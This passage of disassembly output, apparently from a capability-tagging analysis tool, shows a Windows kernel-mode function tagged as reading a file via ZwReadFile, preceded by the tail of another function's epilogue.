add rsp, 0xe0
pop rbp
ret

Function at 0x14000f150
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x60
and qword [rax - 0x28], 0
lea rbx, [rcx + 0x18]
and qword [rax - 0x30], 0
mov rdi, rcx
mov rcx, qword [rcx]
xor r9d, r9d
mov dword [rax - 0x38], 0xfe0
xor r8d, r8d
mov qword [rax - 0x40], rbx
lea rax, [rax - 0x18]
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwReadFile]
xor ecx, ecx
mov qword [rdi + 8], rbx
test eax, eax
cmovns ecx, dword [rsp + 0x58]
mov dword [rdi + 0x10], ecx
js 0x14000f1ae
test ecx, ecx
mov edx, 0xc0000011
cmove eax, edx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret